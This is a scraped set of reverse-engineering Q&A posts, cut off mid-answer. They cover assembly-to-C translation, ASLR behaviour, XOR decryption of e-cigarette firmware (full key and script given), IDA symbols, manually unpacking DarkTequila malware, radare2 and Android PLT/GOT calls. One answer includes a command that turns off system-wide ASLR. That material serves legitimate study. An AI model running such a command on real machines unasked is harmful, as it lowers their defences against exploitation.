        "Body": "<p>I have the following assembly. I don't know how to follow assembly. I was wondering if there is a way to convert assembly to a human readable pseudo code or better yet C code:</p>\n\n<pre><code>init:\n mov    eax, [ebp+8]    # pointer to key\n push   eax\n mov    eax, [ebp+c]    # pointer to ciphertext\n push   eax\n mov    eax, [ebp+10]   # ciphertext length\n push   eax\n mov    eax, [ebp+1c]   # pointer to plaintext\n push   eax\n xor    ecx, ecx    # loop counter\n\nloop:\n xor    edx, edx\n mov    eax, ecx\n mov    ebx, 0x6\n div    ebx\n\n mov    eax, [esp+c]\n add    eax, edx\n mov    al, byte ptr [eax]\n sub    al, 0x41\n\n mov    ebx, [esp+8]\n add    ebx, ecx\n mov    bl, byte ptr [ebx]\n sub    bl, 0x41\n\n sub    bl, al\n jns    tail\n add    bl, 0x1a\n\ntail:\n add    bl, 0x41\n mov    eax, [esp]\n mov    [eax+ecx], bl\n\n inc    ecx\n cmp    ecx, [esp+4]\n jl loop\n</code></pre>\n",
        "Title": "How to convert assembly to pseudo code?",
        "Tags": "|assembly|x86|c|",
        "Answer": "<p>Although rewriting assembly to pseudo C is not technically reverse engineering, I'll try to help </p>\n\n<pre><code>init:\n mov    eax, [ebp+8]\n push   eax\n mov    eax, [ebp+0xc]\n push   eax\n mov    eax, [ebp+0x10]\n push   eax\n mov    eax, [ebp+0x1c]\n puse   eax\n xor    ecx, ecx\n</code></pre>\n\n<p>This block just basically sets up parameters, as already mentioned <code>ecx</code> is a <code>counter</code>.</p>\n\n<pre><code>loop:\n xor    edx, edx\n mov    eax, ecx\n mov    ebx, 0x6\n div    ebx\n</code></pre>\n\n<p>Here <code>edx</code> is zeroed out, counter is moved to <code>eax</code> and unsigned division by 6 is performed. <code>div</code> stores the quotient in <code>eax</code> and remainder in <code>edx</code>.</p>\n\n<pre><code>mov    eax, [esp+0xc]\nadd    eax, edx\nmov    al, [eax]\nsub    al, 0x41\n</code></pre>\n\n<p>Here pointer from the key is accessed at offset <code>edx</code> and 0x41 is subtracted.</p>\n\n<pre><code>char a = key[counter % 6] - 0x41;\n</code></pre>\n\n<p>On to the next block</p>\n\n<pre><code>mov    ebx, [esp+8]\nadd    ebx, ecx\nmov    bl, [ebx]\nsub    bl, 0x41\n</code></pre>\n\n<p>Here pointer from the <code>ciphertext</code> is accessed at offset <code>counter</code> and 0x41 is subtracted.</p>\n\n<pre><code>char b = ciphertext[counter] - 0x41;\n</code></pre>\n\n<p>Next</p>\n\n<pre><code>sub    bl, al\njns    tail\nadd    bl, 0x1a\n</code></pre>\n\n<p>Here <code>a</code> and <code>b</code> are subtracted and if difference is less than zero 0x1a is added to <code>b</code>;</p>\n\n<pre><code>b = b - a;\nif(b &lt; 0) b += 0x1a;\n</code></pre>\n\n<p>Next:</p>\n\n<pre><code>tail:\n add    bl, 0x41\n mov    eax, [esp]\n mov    byte ptr [eax+ecx], bl\n inc    ecx\n cmp    ecx, [esp+4]\n jl loop\n</code></pre>\n\n<p>Here 0x41 is added back to <code>b</code> and its written to <code>plaintext</code> at offset <code>counter</code>.</p>\n\n<pre><code>plaintext[counter] = b+0x41;\ncounter++;\n</code></pre>\n\n<p>This was done in a loop with <code>length</code> as the limit.</p>\n\n<pre><code>while(counter &lt; length)\n</code></pre>\n\n<p>Equivalent complete code.</p>\n\n<pre><code>void decode(char *key, char *ciphertext, size_t length, char *plaintext){\n    size_t counter = 0; \n    do{\n        char diff = ciphertext[counter] - key[counter % 6];\n        plaintext[counter++] = 0x41 + diff + (diff &lt; 0 ? 0x1a : 0);\n    }\n    while(counter &lt; length);\n}\n</code></pre>\n"
    },
    {
        "Id": "20063",
        "CreationDate": "2018-12-06T04:10:40.947",
        "Body": "<p>If I have a binary file which does not have ASLR enabled. However, the libc file it uses has ASLR enabled, then will the address of system() in libc file be randomized every time?</p>\n\n<p>Or the address will be the same every time because the binary itself does not have ASLR enabled?</p>\n",
        "Title": "Question regarding ASLR",
        "Tags": "|linux|exploit|",
        "Answer": "<p>When the process is created it is the job of the loader to parse the ELF and allocate/map memory segments, resolve and load libraries. The base offset for any shared object is decided by the loader at load time. But this depends on the ASLR setting of the operating system, not the binary.</p>\n\n<pre><code>$ gcc -m32 -no-pie -fno-pic -zexecstack untitled.c -o untitled\n$ ldd ./untitled\n    linux-gate.so.1 (0xf7f66000)\n    libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xf7d4b000)\n    /lib/ld-linux.so.2 (0xf7f68000)\n$ ldd ./untitled\n    linux-gate.so.1 (0xf7fd1000)\n    libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xf7db6000)\n    /lib/ld-linux.so.2 (0xf7fd3000)\n$ ldd ./untitled\n    linux-gate.so.1 (0xf7f8f000)\n    libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xf7d74000)\n    /lib/ld-linux.so.2 (0xf7f91000)\n</code></pre>\n\n<p>However once system wide ASLR is disabled</p>\n\n<pre><code>$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n0\n$ ldd `which cat`\n    linux-vdso.so.1 (0x00007ffff7ffa000)\n    libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7831000)\n    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)\n$ ldd `which cat`\n    linux-vdso.so.1 (0x00007ffff7ffa000)\n    libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7831000)\n    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)\n$ ldd `which cat`\n    linux-vdso.so.1 (0x00007ffff7ffa000)\n    libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7831000)\n    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)\n</code></pre>\n\n<p>Offset of system with respect to libc base should remain constant in a libc.</p>\n"
    },
    {
        "Id": "20070",
        "CreationDate": "2018-12-06T19:44:35.610",
        "Body": "<p>I am currently trying to reverse-engineer the firmware of an E-Cigarette but I cannot find any clues with the common tools. Heres everything I found so far.</p>\n\n<ul>\n<li><p>Binwalk doesnt recognize anything even with <code>-E</code> or <code>-A</code>.</p></li>\n<li><p>Entropy = 7.611435 bits per byte.</p></li>\n<li><p>Optimum compression would reduce the size of this 80896 byte file by 4 percent.</p></li>\n<li><p>Chi square distribution for 80896 samples is 99630.01, and randomly\nwould exceed this value less than 0.01 percent of the times.</p></li>\n<li><p>Arithmetic mean value of data bytes is 117.2996 (127.5 = random).</p></li>\n<li><p>Monte Carlo value for Pi is 3.078178312 (error 2.02 percent).</p></li>\n<li><p>Serial correlation coefficient is 0.107920 (totally uncorrelated = 0.0).</p></li>\n</ul>\n\n<p>Is it possible that this file is encrypted or compressed?</p>\n\n<p>Here is a visualization of the entropy:</p>\n\n<p><a href=\"https://i.stack.imgur.com/rzF9c.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rzF9c.png\" alt=\"Entropy\"></a></p>\n\n<p>And here is the graph of the entropy:\n<a href=\"https://i.stack.imgur.com/fMYNn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fMYNn.png\" alt=\"Entropy_graph\"></a></p>\n\n<p>Here is a download of the Firmware.\n<a href=\"https://www.file-upload.net/download-13422170/HW718V40_20171008.firmware.html\" rel=\"nofollow noreferrer\">https://www.file-upload.net/download-13422170/HW718V40_20171008.firmware.html</a></p>\n",
        "Title": "Problems with extracting firmware",
        "Tags": "|firmware|firmware-analysis|",
        "Answer": "<h1>TL;DR</h1>\n\n<p>Yes the file is encrypted, it is a simple XOR cipher with a key length of 0x800 bytes.</p>\n\n<p>Python script for getting decrypted firmware:</p>\n\n\n\n<pre><code>import struct\n\nFILENAME = \"HW718V40_20171008.firmware\"\n\ndef xor_cipher(data, key):\n    import sys\n    from itertools import cycle\n    if (sys.version_info &gt; (3, 0)):\n        return bytes(a ^ b for a, b in zip(data, cycle(key)))\n    else:\n        return bytes(bytearray(a ^ b for a, b in zip(bytearray(data), cycle(bytearray(key)))))\n\nkey = struct.pack('&lt;I', 0x00001AE7) * 8 + struct.pack('&lt;I', 0x000026EF) \\\n* 8 + struct.pack('&lt;I', 0x0000565C) * 8 + struct.pack('&lt;I',\n    0x00001109) * 8 + struct.pack('&lt;I', 0x00005618) * 8 \\\n+ struct.pack('&lt;I', 0x000077D6) * 8 + struct.pack('&lt;I', 0x00000F45) \\\n* 8 + struct.pack('&lt;I', 0x000024AE) * 8 + struct.pack('&lt;I',\n    0x00001C42) * 8 + struct.pack('&lt;I', 0x00006D4C) * 8 \\\n+ struct.pack('&lt;I', 0x0000754E) * 8 + struct.pack('&lt;I', 0x0000449C) \\\n* 8 + struct.pack('&lt;I', 0x000056A2) * 8 + struct.pack('&lt;I',\n    0x00003EED) * 8 + struct.pack('&lt;I', 0x0000106C) * 8 \\\n+ struct.pack('&lt;I', 0x00000C7D) * 8 + struct.pack('&lt;I', 0x0000578C) \\\n* 8 + struct.pack('&lt;I', 0x000045CB) * 8 + struct.pack('&lt;I',\n    0x0000253C) * 8 + struct.pack('&lt;I', 0x00007F0F) * 8 \\\n+ struct.pack('&lt;I', 0x00006513) * 8 + struct.pack('&lt;I', 0x000004C0) \\\n* 8 + struct.pack('&lt;I', 0x00006BFF) * 8 + struct.pack('&lt;I',\n    0x0000711C) * 8 + struct.pack('&lt;I', 0x00004829) * 8 \\\n+ struct.pack('&lt;I', 0x00000B03) * 8 + struct.pack('&lt;I', 0x000038E2) \\\n* 8 + struct.pack('&lt;I', 0x000020AC) * 8 + struct.pack('&lt;I',\n    0x00005708) * 8 + struct.pack('&lt;I', 0x000064FA) * 8 \\\n+ struct.pack('&lt;I', 0x00007984) * 8 + struct.pack('&lt;I', 0x00004C79) \\\n* 8 + struct.pack('&lt;I', 0x00007ED1) * 8 + struct.pack('&lt;I',\n    0x00000F4F) * 8 + struct.pack('&lt;I', 0x00002BB2) * 8 \\\n+ struct.pack('&lt;I', 0x00005FA3) * 8 + struct.pack('&lt;I', 0x00001073) \\\n* 8 + struct.pack('&lt;I', 0x00002046) * 8 + struct.pack('&lt;I',\n    0x00003175) * 8 + struct.pack('&lt;I', 0x000005A5) * 8 \\\n+ struct.pack('&lt;I', 0x000054CF) * 8 + struct.pack('&lt;I', 0x00001B4E) \\\n* 8 + struct.pack('&lt;I', 0x0000264E) * 8 + struct.pack('&lt;I',\n    0x00003A88) * 8 + struct.pack('&lt;I', 0x00002C1A) * 8 \\\n+ struct.pack('&lt;I', 0x000022D6) * 8 + struct.pack('&lt;I', 0x000019C0) \\\n* 8 + struct.pack('&lt;I', 0x00002B57) * 8 + struct.pack('&lt;I',\n    0x00003C82) * 8 + struct.pack('&lt;I', 0x00007C61) * 8 \\\n+ struct.pack('&lt;I', 0x0000530F) * 8 + struct.pack('&lt;I', 0x00007AD2) \\\n* 8 + struct.pack('&lt;I', 0x00007414) * 8 + struct.pack('&lt;I',\n    0x00001ADD) * 8 + struct.pack('&lt;I', 0xD6ADBCEF) * 8 \\\n+ struct.pack('&lt;I', 0x00003E66) * 8 + struct.pack('&lt;I', 0x000061DD) \\\n* 8 + struct.pack('&lt;I', 0x00002330) * 8 + struct.pack('&lt;I',\n    0xDEADBEEF) * 8 + struct.pack('&lt;I', 0x0000475D) * 8 \\\n+ struct.pack('&lt;I', 0x00002A4F) * 8 + struct.pack('&lt;I', 0x00001F15) \\\n* 8 + struct.pack('&lt;I', 0x00001162) * 8 + struct.pack('&lt;I',\n    0xE3ADBEEF) * 8\n\nbuf = open(FILENAME, \"rb\").read()\nxbuf = xor_cipher(buf, key)\nopen(FILENAME + \".out\", \"wb\").write(xbuf)\n</code></pre>\n\n<h1>Walk-through</h1>\n\n<p>Looking at the header of the firmware, we can make some guess (all values stored in Little-endian):</p>\n\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  04 83 57 48 9C 3B 01 00 C8 CF 28 00 00 1E 2B 6A  .\u0192WH\u0153;..\u00c8\u00cf(...+j\n00000010  47 00 0B 00 80 01 00 00 E4 CF 28 00 38 FE 28 00  G...\u20ac...\u00e4\u00cf(.8\u00fe(.\n</code></pre>\n\n<ul>\n<li>0x48578304 : Maybe a signature</li>\n<li>0x00013B9C : Almost the length of the firmware file length (originally 0x13C00)</li>\n</ul>\n\n<p>If we look further in the firmware hexdump and assume we are dealing with a CORTEX device or something similar, at offset 0x20 we could think that there is a vector table:</p>\n\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000020  CF 36 00 20 3E 1B 00 08 F2 D5 00 08 A4 D5 00 08  \u00cf6. &gt;...\u00f2\u00d5..\u00a4\u00d5..\n00000030  A2 D5 00 08 A0 D5 00 08 BE D5 00 08 EF 26 00 00  \u00a2\u00d5..\u00a0\u00d5..\u00be\u00d5..\u00ef&amp;..\n</code></pre>\n\n<ul>\n<li>0x200036CF : Initial SP Value</li>\n<li>0x08001B3E : Reset Vector</li>\n<li>0x0800D5F2 : NMI Vector</li>\n<li>0x0800D5A4 : Hard Fault</li>\n<li>0x0800D5A2 : Memory Management Fault</li>\n<li>0x0800D5A0 : Bus Fault</li>\n<li>0x0800D5BE : Usage Fault</li>\n<li>0x000026EF : RESERVED</li>\n<li>0x0000565C : RESERVED</li>\n<li>0x0000565C : RESERVED</li>\n<li>0x0000565C : RESERVED</li>\n</ul>\n\n<p>Here we can notice few problems:</p>\n\n<ol>\n<li>Why the Initial SP Value is not aligned? </li>\n<li>Why the reserved vector are not NULL?</li>\n</ol>\n\n<p>At this point, grepping the sequence of bytes <code>EF 26 00 00</code> end up in an interesting place:</p>\n\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00012000  E7 1A 00 00 E7 1A 00 00 E7 1A 00 00 E7 1A 00 00  \u00e7...\u00e7...\u00e7...\u00e7...\n00012010  E7 1A 00 00 E7 1A 00 00 E7 1A 00 00 E7 1A 00 00  \u00e7...\u00e7...\u00e7...\u00e7...\n00012020  EF 26 00 00 EF 26 00 00 EF 26 00 00 EF 26 00 00  \u00ef&amp;..\u00ef&amp;..\u00ef&amp;..\u00ef&amp;.. &lt;&lt; 0x000026EF REPEATED 4 TIMES\n00012030  EF 26 00 00 EF 26 00 00 EF 26 00 00 EF 26 00 00  \u00ef&amp;..\u00ef&amp;..\u00ef&amp;..\u00ef&amp;.. &lt;&lt; 0x000026EF REPEATED 4 TIMES\n00012040  5C 56 00 00 5C 56 00 00 5C 56 00 00 5C 56 00 00  \\V..\\V..\\V..\\V..\n00012050  5C 56 00 00 5C 56 00 00 5C 56 00 00 5C 56 00 00  \\V..\\V..\\V..\\V..\n00012060  09 11 00 00 09 11 00 00 09 11 00 00 09 11 00 00  ................\n00012070  09 11 00 00 09 11 00 00 09 11 00 00 09 11 00 00  ................\n00012080  18 56 00 00 18 56 00 00 18 56 00 00 18 56 00 00  .V...V...V...V..\n00012090  18 56 00 00 18 56 00 00 18 56 00 00 18 56 00 00  .V...V...V...V..\n</code></pre>\n\n<p>We can see that the value 0x000026EF is repeated 8 times, and we have the value 0x0000565C (the other reserved vector) repeated 8 times, and some others values are repeated too.</p>\n\n<p>There is a big chance that we are inside some ZERO pages and it is a simple XOR cipher which is applied on the whole file.</p>\n\n<p>Maybe the XOR cipher key is in the following form:</p>\n\n<ul>\n<li>key[0] repeated 8 times</li>\n<li>key[1] repeated 8 times</li>\n<li>key[2] repeated 8 times</li>\n<li>...</li>\n<li>key[63] repeated 8 times</li>\n</ul>\n\n<p>By looking at all the offset where are stored the value the 0x000026EF, we can compute the delta between them, we can make a guess that the key length is 0x800 bytes.</p>\n\n<p>Hopefully we can find 3 version of the firmware on the internet:</p>\n\n<ul>\n<li>f553e034ba70138c270dac03e7dcda6f : <code>HW718V38_20170216.firmware</code></li>\n<li>7440def1011f50749ff7f1ca8f7bcced : <code>HW718V39_20170221.firmware</code></li>\n<li>0850c80192dcad7a0ce9a5446fb97f16 : <code>HW718V40_20171008.firmware</code></li>\n</ul>\n\n<p>In order to extract the full key, we split each firmware file in block of 0x800 bytes chuncks, and compute the number of occurence of every 0x04 bytes repeated every 0x20 bytes.</p>\n\n<p>With this we are able to extract the full key, some adjustments were required using the previous method:</p>\n\n<ul>\n<li>keys[34] = 0x2BB2</li>\n<li>keys[38] = 0x3175</li>\n<li>keys[54] = 0xD6ADBCEF     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# 4 bytes key ... wat !?</li>\n<li>keys[58] = 0xDEADBEEF     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# 4 bytes key ... wat !?</li>\n<li>keys[60] = 0x2A4F</li>\n<li>keys[62] = 0x1162</li>\n<li>keys[63] = 0xE3ADBEEF     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# 4 bytes key ... wat !?</li>\n</ul>\n\n<p>The last step is now to know the exact value for the loading address, by starting to disassemble the firmware with a processor ARM little-endian at a loading address 0x08000000 and file offset 0x20, we can find an interesting disassembly:</p>\n\n<pre><code>ROM:0800B854                 LDR             R1, =0xE000ED08\nROM:0800B856                 LDR             R0, =0x8003C00\nROM:0800F458                 STR             R0, [R1]\n</code></pre>\n\n<p>0xE000ED08 is the Vector Table Offset Register and the value 0x8003C00 is written inside it.</p>\n\n<p>Now we can reaload our firmware with an ARM processor in little-endian at the loading address 0x8003C00 and file offset 0x20 and we can start working on the reverse engineering.</p>\n"
    },
    {
        "Id": "20074",
        "CreationDate": "2018-12-07T14:57:29.003",
        "Body": "<p>I am trying to get a complete list of symbol names in IDA. All functions that return names operate primarily around looking at particular addresses and there corresponding entries in the symbol table, instead of looking at all the entries of the symbol table itself.</p>\n\n<p>This is okay until you have symbols that are at the same address, such as constructors and destructors for a class <code>C1</code> and <code>C2</code>, <code>D1</code> and <code>D2</code> (<a href=\"https://itanium-cxx-abi.github.io/cxx-abi/abi.html#mangling-special-ctor-dtor\" rel=\"nofollow noreferrer\">as described in the C++ ABI</a>). The traditional methods <code>get_func_name(ea)</code> and <code>GetFunctionName(ea)</code> don't work, because they only give one result for a given address.</p>\n\n<p>If multiple symbol names point to the same effective address, how can I get all of those symbol names?</p>\n\n<p><strong>Edit:</strong></p>\n\n<p>Consider the following code:</p>\n\n<pre><code>class apple{\n    public:\n        apple(int a);\n        ~apple();\n};\n\napple::apple(int a){}\napple::~apple(){}\n\nint main(){\n    apple a = apple(1);\n    return 0;\n}\n</code></pre>\n\n<p>Compiling this with <code>g++ -o apple apple.cpp</code> to get our executable and then running <code>readelf -s</code> gives us, among other entries:</p>\n\n<pre><code>53: 0000000000400554    11 FUNC    GLOBAL DEFAULT   14 _ZN5appleD1Ev\n57: 0000000000400546    14 FUNC    GLOBAL DEFAULT   14 _ZN5appleC1Ei\n65: 0000000000400546    14 FUNC    GLOBAL DEFAULT   14 _ZN5appleC2Ei\n70: 0000000000400554    11 FUNC    GLOBAL DEFAULT   14 _ZN5appleD2Ev\n</code></pre>\n\n<p>Notice how <code>C1</code> and <code>C2</code> have the same address.</p>\n\n<p>Now, using IDAPython, we can use <code>idautils.Names()</code> (as suggested) or any of the other methods previously discussed, in code like this:</p>\n\n<pre><code>import idautils\nfor name in idautils.Names():\n    print name\n</code></pre>\n\n<p>and we get results looking like, among other information that's not relevant, this:</p>\n\n<pre><code>(4195654L, '_ZN5appleC2Ei')\n(4195668L, '_ZN5appleD2Ev')\n</code></pre>\n\n<p>Notice how it only finds the <code>C2</code> and <code>D2</code> constructor / destructor, but not <code>C1</code> and <code>D1</code>. Is it possible to 'find' the <code>C1</code> and <code>D1</code> constructor / destructor with IDA?</p>\n",
        "Title": "Get Multiple Function Names for One Address in IDA",
        "Tags": "|ida|idapython|elf|",
        "Answer": "<p>IDA, while loading ELF file, will choose only one name and use if for specific address, because there's no way for IDA to have multiple names for on address. So you'll have to invent something to extend IDA loader for elf files, to make it somehow store the alternative names for the address.</p>\n"
    },
    {
        "Id": "20076",
        "CreationDate": "2018-12-07T18:16:48.837",
        "Body": "<p><a href=\"https://i.stack.imgur.com/QXBJr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QXBJr.png\" alt=\"Packed w/ UPX - can see 0/1 in sections\"></a></p>\n\n<p>The malware is packed w/ UPX - can see 0/1 in sections.</p>\n\n<p>Sure, I can can a tool or even use UPX -d -o flags .exe to create an unpacked copy with a >97% ratio, however I want to MANUALLY unpack it to keep practicing my skills and to get better.</p>\n\n<p>Opening the .exe (MD5 for malware: 9fbdc5eca123e81571e8966b9b4e4a1e) with OllyDbg brings us right to the POPAD instruction and several usual follow-on calls on the stack that also let us know it's typical UPX stuff.</p>\n\n<p>The problem is, when I step-over the PUSHAD and land on the MOV instruction, if I follow the ESP register through the dump, the first four hex dump bytes are zeroed out.</p>\n\n<p><a href=\"https://i.stack.imgur.com/HENHk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HENHk.png\" alt=\"Zeroed bytes.\"></a></p>\n\n<p>With this said, I still set the HWBP on access just to see what it would lead me to, and it brings me to this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/LZLmv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LZLmv.png\" alt=\"After hardware breakpoint\"></a></p>\n\n<p>And this is where I get stumped. If I try and step through to the JUMP instruction, it will only go to the conditional jump (JNZ) before it falls back to the PUSH instruction. I can manually click my way to the JMP instruction and run the program again, which leads me to the CMP ESP, EAX. If I run the program one more time, it brings me to 0139BC0E which looks like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/eMgWO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eMgWO.png\" alt=\"After CMP instruction\"></a></p>\n\n<p>There's a few kernel32 function calls that you <em>might</em> see at the beginning of a program, but honestly I am not sure if I am where I need to be for this unpacking. I doubt it.</p>\n\n<p>All in all, I could use some help.</p>\n",
        "Title": "Manually unpacking DarkTequila, stumped. Can anyone help?",
        "Tags": "|ollydbg|malware|unpacking|",
        "Answer": "<p>This may either be packed multiple times or contain additional obfuscations or anti-analysis.  Use the \"PUSHAD, breakpoint on ESP, run\" method to find the tail transition, as you have.  Then set a breakpoint on the tail transition (in your case, JMP 0002A99E) and run to that.  The single-step to take the jmp and you'll be at the OEP, or the next stage of packing.</p>\n\n<p>One way to figure out if you have it unpacked is to dump at this point (using <a href=\"https://low-priority.appspot.com/ollydumpex/\" rel=\"nofollow noreferrer\">OllyDumpEx</a>, for example) and load it in your typical tools (IDA, exeinfo, PEiD, etc) to see what it looks like.</p>\n\n<p>When I do this with your binary, I'm seeing what looks like some typical setup code, but then after the call to initterm, at 0040A7F2 there is a call using a memory address that contains zeros (hover over the dword_xxxx value to see).  If you look back just a little bit, you'll see a call to a sub_xxxx that takes as an argument that dword_xxxx address.  Diving into that function and the functions it calls, it looks like there is some parsing of the PE header (see cmp's with immediate values 5A4Dh and 4550h).  In malware, this is typically done to find where kernel32 or other modules are in memory.</p>\n\n<p>In addition to that, look at the Imports and you can see that there are references to LoadLibrary and GetProcAddress.  If you look for those cross-references (aka xrefs), then you'll find functions that look like they have encoded values (a bunch of xor instructions in a row with immediates), so possibly dynamically rebuilding the IAT.</p>\n\n<p>That's more info than you need to get past the UPX unpacking stage, but this malware has more anti-analysis techniques than just UPX packing, so you might have additional questions.  The <a href=\"https://nostarch.com/malware\" rel=\"nofollow noreferrer\">Practical Malware Analysis book</a> has a good description of what you'll want to do next, and is generally a good reference, but feel free to start more questions on stackexchange if you want more help!</p>\n"
    },
    {
        "Id": "20090",
        "CreationDate": "2018-12-08T18:28:02.697",
        "Body": "<blockquote>\n  <p>How to get the memory-mapping (e.g. library) that contains a given address in Radare?</p>\n</blockquote>\n\n<p>I've done a search in Radare for a specific string (<code>search.in = dbg.maps</code>), which resulted in an address.</p>\n\n<p>Now, I want to know which memory-mapping the address corresponds to, e.g. is it libc?</p>\n\n<p>How can I obtain the memory-mapping whose memory region contains the given address?</p>\n",
        "Title": "How to get the memory-mapping (e.g. library) that contains a given address in Radare?",
        "Tags": "|radare2|",
        "Answer": "<p>With the command <code>dm.</code> you can show the map name of the current address.\nTo change the current address to your desired one add <code>@ address</code></p>\n\n<p>For example:</p>\n\n<p><code>[0x7f8622478090]&gt; dm. @ 0x00007f8622477000\n0x00007f8622477000 - 0x00007f8622478000 * usr     4K s r-- /usr/lib/ld-2.28.so /usr/lib/ld-2.28.so</code></p>\n\n<p>You can combine your search directly with the dm. command:</p>\n\n<pre><code>dm. @@/ STRING\n</code></pre>\n"
    },
    {
        "Id": "20100",
        "CreationDate": "2018-12-09T14:36:02.290",
        "Body": "<p>In windows platform, an application usually references its IAT(Import Access Table) to get the address of the APIs it wants, then call it. Then some mechanisms are done as demonstrated <a href=\"http://www.osronline.com/article.cfm?id=257\" rel=\"noreferrer\">here</a> nicely.</p>\n\n<p>However, I cannot find out how API calls work on Android NDK. I think there's no IAT in an ELF file. Could anybody tell me how API calls on android works, in assembly level?</p>\n\n<blockquote>\n  <p>E.g.</p>\n  \n  <p>When I call <code>ALooper_acquire(&amp;mylooper)</code> then it assembles as</p>\n\n<pre><code> mov r4, 0x2000  ; address of mylooper\n bl 0x7777fff0      ;address of ALooper_acauire\n ... after ALooper_acquire()\n</code></pre>\n  \n  <p>then in <code>0x7777fff0</code>:</p>\n\n<pre><code>Blah blah happens to call system api, ...\n</code></pre>\n</blockquote>\n",
        "Title": "How does API call work on Android (NDK)?",
        "Tags": "|linux|android|arm|system-call|api|",
        "Answer": "<p>To answer your question, let us first set a solid ground in terms of entities and definitions.</p>\n\n<p><b>ELF</b> stands for \"Executable and Linkable format\". <br />\nThat is, it defines the structure and shape of two types of files:</p>\n\n<ul>\n<li>Executables (Shared Objects *.so and stand-alone executables)</li>\n<li>Linkables (Object files *.o)</li>\n</ul>\n\n<p>Let us focus on executables.</p>\n\n<h3>Dependencies resolution of executables</h3>\n\n<p>Among other things, <b>ELF</b> defines a method of describing and resolving dependencies of executable.</p>\n\n<p><strong>Dependencies</strong></p>\n\n<p>Put simple, dependencies are required external symbols. \nSymbols are named (identified) chunks of memory.\nSome of the chunks are data chunks (Global variables) while others are code-data chunks (Global functions). \nSince a symbol is a part of a module (aka Shared Object), any required symbol is coupled with a module.</p>\n\n<p>In summary, dependencies are needed symbols and modules.</p>\n\n<p><em>Note that a function that is a part of an OS API could be and usually is an external symbol. However, it's not always the case.</em></p>\n\n<p><strong>Dependencies description</strong></p>\n\n<p>ELF defines a structure called Dynamic Segment used to store information needed by the loader (aka dynamic linker) in the loading process of an executable.\nAn executable's dependencies description is stored in its Dynamic Segment.</p>\n\n<p>Needed symbols are organized in a table called Dynamic Symbol Table that's referred by the Dynamic Segment:</p>\n\n<p><a href=\"https://i.stack.imgur.com/83QbD.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/83QbD.png\" alt=\"]\"></a>\n<em>Reference to a symbol table under Loader directives- <a href=\"https://elfy.io/KYze4\" rel=\"noreferrer\">https://elfy.io/KYze4</a></em></p>\n\n<p>A dynamic symbol table is a contiguous array of symbol descriptors:</p>\n\n<p><a href=\"https://i.stack.imgur.com/TBgqq.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/TBgqq.png\" alt=\"enter image description here\"></a>\n<em>.dynsym under Symbols - <a href=\"https://elfy.io/KYze4\" rel=\"noreferrer\">https://elfy.io/KYze4</a></em></p>\n\n<p>Needed modules on the other hand are described directly with DT_NEEDED entries:</p>\n\n<p><a href=\"https://i.stack.imgur.com/MPBIq.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/MPBIq.png\" alt=\"enter image description here\"></a>\n<em>Needed modules under Loader directives - <a href=\"https://elfy.io/KYze4\" rel=\"noreferrer\">https://elfy.io/KYze4</a></em></p>\n\n<p><strong>Dynamic link</strong></p>\n\n<p>Now we are ready to discuss the wiring mechanism that lets an executable reach its dependencies <b>once</b> they are resolved by the loader.\nWe will do it by following the steps of an external function call.</p>\n\n<p>Let's take a call to <em>__android_log_print</em> as an example (ARM 32 bit).</p>\n\n<pre><code>...\n   1d21a:       f7fa e8e8       blx     173ec ; __android_log_print@plt\n...</code></pre>\n\n<p>The above is an assembly that calls __android_log_print which prints out text to Android Logcat.\nBut in fact, that <strong>blx</strong> instruction branches to a specific code-stub in a special area called <strong>Procedure Link Table</strong> (PLT).\nThere's a code stub in the PLT for <em>every</em> needed external function.</p>\n\n<p>Here's __android_log_print's stub:</p>\n\n<pre><code>...\n000173ec __android_log_print@plt:\n   173ec:       e28fc600        add     ip, pc, #0, 12\n   173f0:       e28cca11        add     ip, ip, #69632   \n   173f4:       e5bcf9f4        ldr     pc, [ip, #2548]! \n000173f8 sleep@plt:\n   173f8:       e28fc600        add     ip, pc, #0, 12\n   173fc:       e28cca11        add     ip, ip, #69632\n   17400:       e5bcf9ec        ldr     pc, [ip, #2540]!\n...\n</code></pre>\n\n<p>The three instructions in the stub do the following: (pseudo code)\n<pre><code>JUMP *(GOT_ADDRESS + GOT_OFFSET_OF(__android_log_print))\n</pre></code></p>\n\n<p>The <strong>Global Offset Table</strong> (GOT) is a table of pointers.\nThere's a cell in the GOT for every external function.\nThat is, every external function has its own cell in the GOT.\nOnce the loading process is done, the cell of function X contains the memory address of function X.</p>\n\n<ul>\n<li>The address computation of the right cell in the GOT is split into 3 because of\nencoding limitations. eg: Large offsets can't be encoded in a \nsingle instruction.</li>\n</ul>\n\n<p>It's the OS loader responsibility to initialize the GOT with the right memory addresses, based on the information discussed 